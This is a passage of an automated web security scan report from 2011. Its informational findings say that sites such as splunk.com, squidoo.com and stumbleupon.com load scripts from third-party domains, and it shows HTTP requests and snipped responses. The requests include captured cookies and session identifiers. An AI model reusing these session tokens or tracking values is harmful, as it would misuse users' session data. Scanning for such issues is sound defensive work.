<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.403. http://www.slackbooks.com/ophthalmology previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/ophthalmology

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /ophthalmology HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:14:07 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: private
Content-Length: 61185
Content-Type: text/html; charset=utf-8
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.404. http://www.slackbooks.com/orthopedics previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/orthopedics

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /orthopedics HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:09:34 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: private
Content-Length: 34403
Content-Type: text/html; charset=utf-8
Set-Cookie: ASP.NET_SessionId=pcery555maf3bi55cxgv3i55; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.405. http://www.slackbooks.com/pediatrics previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/pediatrics

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.addtoany.com/menu/page.js
http://www.google-analytics.com/urchin.js

Request

GET /pediatrics HTTP/1.1
Host: www.slackbooks.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=164007549.1296944200.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __utma=164007549.371423654.1296944200.1296944200.1296944200.1; __utma_a2a=2564089484.1328501126.1296944200.1296944200.1296944213.2; __utmc=164007549; __utmb=164007549; ASP.NET_SessionId=g4ffc1a3nyrr0w55myx2al55;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:14:14 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: private
Content-Length: 30229
Content-Type: text/html; charset=utf-8
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">



<html xmlns="http://www.w3.org/
...[SNIP]...
</script>
<script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.406. http://www.smartertechnology.com/c/s/Tools/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.smartertechnology.com
Path:	/c/s/Tools/

Issue detail

The response dynamically includes the following scripts from other domains:

http://admin.brightcove.com/js/BrightcoveExperiences.js
http://w.sharethis.com/button/sharethis.js
http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en

Request

GET /c/s/Tools/ HTTP/1.1
Host: www.smartertechnology.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:14:20 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=49fc20c8849431471181ec30c03d2e94; expires=Mon, 06-Feb-2012 16:14:20 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:14:20 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 15254

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>


<link
...[SNIP]...
<link rel="stylesheet" type="text/css" href="/assets/css/custom.css" />
<script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#publisher=8b40f7a5-b438-43ba-9616-6052d54aeed6&type=website&post_services=facebook%2Cslashdot%2Ctwitter%2Cdigg%2Cmyspace%2Cdelicious%2Clinkedin%2Cstumbleupon%2Cgoogle_bmarks%2Cybuzz%2Cemail%2Caim%2Csms%2Cnewsvine%2Cblogger%2Creddit%2Cwindows_live%2Cbebo%2Cyahoo_bmarks%2Cmixx%2Ctechnorati%2Cfriendfeed%2Cpropeller%2Cwordpress%2Cxanga&headerTitle=Share%20This%20Information&onmouseover=false"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...


<script language="JavaScript" type="text/javascript" src="http://admin.brightcove.com/js/BrightcoveExperiences.js"></script>
...[SNIP]...

21.407. http://www.spiele365.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.spiele365.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://tracker.icerocket.com/services/collector.js

Request

GET / HTTP/1.1
Host: www.spiele365.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:14:22 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=1u37onl8uc70chts4qpd19rr0935a9tv; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 24726

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content
...[SNIP]...
</script>
<script type="text/javascript" src="http://tracker.icerocket.com/services/collector.js"></script>
...[SNIP]...

21.408. http://www.splunk.com/page/ask_expert previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/ask_expert

Issue detail

The response dynamically includes the following script from another domain:

https://api-secure.recaptcha.net/challenge?k=6Lfw9QAAAAAAAEs5wflkBXuLywQWzrQ_ln7ZvT2j

Request

GET /page/ask_expert HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:10:09 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 30b6dce255a269e6774ce342edc2a4cb1296943808
Last-Modified: Sat, 05 Feb 2011 22:10:08 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 33985

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
</div>
<script type="text/javascript" src="https://api-secure.recaptcha.net/challenge?k=6Lfw9QAAAAAAAEs5wflkBXuLywQWzrQ_ln7ZvT2j"></script>
...[SNIP]...

21.409. http://www.splunk.com/page/ask_expert/default/3107 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/ask_expert/default/3107

Issue detail

The response dynamically includes the following script from another domain:

https://api-secure.recaptcha.net/challenge?k=6Lfw9QAAAAAAAEs5wflkBXuLywQWzrQ_ln7ZvT2j

Request

GET /page/ask_expert/default/3107 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:33:58 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 34644

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
</div>
<script type="text/javascript" src="https://api-secure.recaptcha.net/challenge?k=6Lfw9QAAAAAAAEs5wflkBXuLywQWzrQ_ln7ZvT2j"></script>
...[SNIP]...

21.410. http://www.splunk.com/page/ask_expert/default/4396 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/ask_expert/default/4396

Issue detail

The response dynamically includes the following script from another domain:

https://api-secure.recaptcha.net/challenge?k=6Lfw9QAAAAAAAEs5wflkBXuLywQWzrQ_ln7ZvT2j

Request

GET /page/ask_expert/default/4396 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:33:48 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 34669

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
</div>
<script type="text/javascript" src="https://api-secure.recaptcha.net/challenge?k=6Lfw9QAAAAAAAEs5wflkBXuLywQWzrQ_ln7ZvT2j"></script>
...[SNIP]...

21.411. http://www.splunk.com/page/sign_up previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/sign_up

Issue detail

The response dynamically includes the following script from another domain:

https://api-secure.recaptcha.net/challenge?k=6Lfw9QAAAAAAAEs5wflkBXuLywQWzrQ_ln7ZvT2j

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:09:59 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 8ea5f080a01ddd0e102a2068d731d7611296943799
Last-Modified: Sat, 05 Feb 2011 22:09:59 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 36309

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
</div>


               <script type="text/javascript" src="https://api-secure.recaptcha.net/challenge?k=6Lfw9QAAAAAAAEs5wflkBXuLywQWzrQ_ln7ZvT2j"></script>
...[SNIP]...

21.412. http://www.splunk.com/partners previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/partners

Issue detail

The response dynamically includes the following script from another domain:

https://na2.salesforce.com/static/100908/js/login.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:17:50 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 54556

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
</style>
<script type="text/javascript" src="https://na2.salesforce.com/static/100908/js/login.js"></script>
...[SNIP]...

21.413. http://www.squidoo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.squidoo.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://the.squidoocdn.com/scripts/custom/facebook_sdk_helper.js
http://the.squidoocdn.com/scripts/custom/lens_gifting.v320431502.js
http://the.squidoocdn.com/scripts/custom/unified_login.v149452691.js
http://the.squidoocdn.com/scripts/jquery/jquery.autocomplete.min.js
http://www.google.com/jsapi

Request

GET / HTTP/1.1
Host: www.squidoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 58862
Date: Sun, 06 Feb 2011 16:15:54 GMT
X-Varnish: 1653572215 1652717857
Age: 8603
Via: 1.1 varnish
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<link href="http://the.squidoocdn.com/styles/style_home.v644022371.css" rel="stylesheet" type="text/css" media="screen" />

<script src="http://www.google.com/jsapi"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://the.squidoocdn.com/scripts/custom/facebook_sdk_helper.js"></script>
<script type="text/javascript" src="http://the.squidoocdn.com/scripts/custom/unified_login.v149452691.js"></script>
<script type="text/javascript" src="http://the.squidoocdn.com/scripts/custom/lens_gifting.v320431502.js"></script>
<script type="text/javascript" src="http://the.squidoocdn.com/scripts/jquery/jquery.autocomplete.min.js"></script>
...[SNIP]...

21.414. http://www.startaid.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.startaid.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET / HTTP/1.1
Host: www.startaid.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.415. http://www.stumbleupon.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.stumbleupon.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://cdn.stumble-upon.com/js/attach_su.js?v=20110204
http://cdn.stumble-upon.com/js/plugins_su.js?v=20110204
http://connect.facebook.net/en_US/all.js

Request

GET / HTTP/1.1
Host: www.stumbleupon.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache
Set-Cookie: PHPSESSID=24u7r3p6go09ucekfd3a17uu33; path=/; domain=.stumbleupon.com; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: cmf_i=7304903984d4ec93bb9fe79.92359436; expires=Tue, 08-Mar-2011 16:15:55 GMT; path=/; domain=.stumbleupon.com
Set-Cookie: cmf_spr=A%2FN; expires=Tue, 08-Mar-2011 16:15:55 GMT; path=/; domain=.stumbleupon.com
Set-Cookie: cmf_sp=http%3A%2F%2Fwww.stumbleupon.com%2F; expires=Tue, 08-Mar-2011 16:15:55 GMT; path=/; domain=.stumbleupon.com
Set-Cookie: su_c=508ff6044dad7175f31b3193dab47199%7C%7C10%7C%7C1297008955%7C5be234e7f257e317b71d9cccfe3c3c84; expires=Wed, 03-Feb-2021 16:15:55 GMT; path=/; domain=.stumbleupon.com
Vary: Accept-Encoding
Content-Type: text/html; charset=iso-8859-1
Content-Length: 11515
Date: Sun, 06 Feb 2011 16:15:55 GMT
X-Varnish: 495183581
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" xmlns:fb="http://www
...[SNIP]...
<![endif]-->


               <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
<![endif]-->

       <script type="text/javascript" src="http://cdn.stumble-upon.com/js/plugins_su.js?v=20110204"></script>
...[SNIP]...
</div>
   <script src="http://connect.facebook.net/en_US/all.js#appId=8ab252785ffd2ebc69f34b48c78a931d&xfbml=1&status=1&cookie=1"></script>
...[SNIP]...


       <script type="text/javascript" charset="utf-8" src="http://cdn.stumble-upon.com/js/attach_su.js?v=20110204"></script>
...[SNIP]...

21.416. http://www.stumpedia.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.stumpedia.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en
http://www.googleadservices.com/pagead/conversion.js
http://www.statcounter.com/counter/counter.js

Request

GET / HTTP/1.1
Host: www.stumpedia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 18:12:57 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.17
Set-Cookie: PHPSESSID=oal2pj01ul0o7c2hngqqi8gu33; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 14654

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
...[SNIP]...
</form><script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script>

<script type="text/javascript"
src="http://www.statcounter.com/counter/counter.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.stylemepretty.com
Path:	/\|http:/stylehive.com\|http:/stylelist.com\|http:/www.outblush.com/\|http:/www.dooce.com/\|http:/www.mightygoods.com/\|http:/www.coolmompicks.com\|onemanga.com\|psychcentral.com\|webmail.aol.com\|http:/www.weblogsinc.com\|http:/www.webmd.com/$\|wonderwall.msn.com\|msn.com/wonderwall\|v14.msn.com/\|preview.msn.com/\|www.msn.com/preview.aspx\|mtv.com/videos/\|mtv.com/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js?ver=1.4.2
http://platform.twitter.com/widgets.js?ver=3.0.4
http://static.ak.fbcdn.net/connect.php/js/FB.Share?ver=3.0.4
http://stats.wordpress.com/e-201105.js

Request

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:03:32 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.2.16
Vary: Cookie,Accept-Encoding
Set-Cookie: wpmp_switcher=desktop; expires=Mon, 06-Feb-2012 16:03:33 GMT; path=/
X-Pingback: http://www.stylemepretty.com/xmlrpc.php
X-Mobilized-By: WordPress Mobile Pack 1.2.0
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:03:33 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 40429

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://
...[SNIP]...
<link rel="pingback" href="http://www.stylemepretty.com/xmlrpc.php" />
<script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js?ver=1.4.2'></script>
...[SNIP]...
</script>
<script type='text/javascript' src='http://platform.twitter.com/widgets.js?ver=3.0.4'></script>
<script type='text/javascript' src='http://static.ak.fbcdn.net/connect.php/js/FB.Share?ver=3.0.4'></script>
<script src="http://stats.wordpress.com/e-201105.js" type="text/javascript"></script>
...[SNIP]...

21.418. http://www.technotizie.it/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.technotizie.it
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://api.recaptcha.net/challenge?k=6Lfw8wEAAAAAAJinQJPGCRZyelG3G4kXdz0tbHfi
http://static.technotizie.it/script/jq.js

Request

GET / HTTP/1.1
Host: www.technotizie.it
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:01 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=a2fe6d01069a1f823b3db46a2b731463; path=/
Connection: close
Content-Type: text/html
Content-Length: 93569

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://static.technotizie.it/css/stylerev2.css" /><script type="text/javascript" src="http://static.technotizie.it/script/jq.js"></script>
...[SNIP]...
<td colspan="2"><script type="text/javascript" src="http://api.recaptcha.net/challenge?k=6Lfw8wEAAAAAAJinQJPGCRZyelG3G4kXdz0tbHfi"></script>
...[SNIP]...

21.419. http://www.topshareware.com/aplikasi-games-buat-hp-nexian-g522/downloads/1.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.topshareware.com
Path:	/aplikasi-games-buat-hp-nexian-g522/downloads/1.htm

Issue detail

The response dynamically includes the following scripts from other domains:

http://kona.kontera.com/javascript/lib/KonaLibInline.js
http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /aplikasi-games-buat-hp-nexian-g522/downloads/1.htm HTTP/1.1
Host: www.topshareware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: public, max-age=3599
Content-Type: text/html; charset=utf-8
Expires: Sat, 05 Feb 2011 23:20:10 GMT
Last-Modified: Sat, 05 Feb 2011 22:20:10 GMT
Vary: *
Server: Microsoft-IIS/7.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
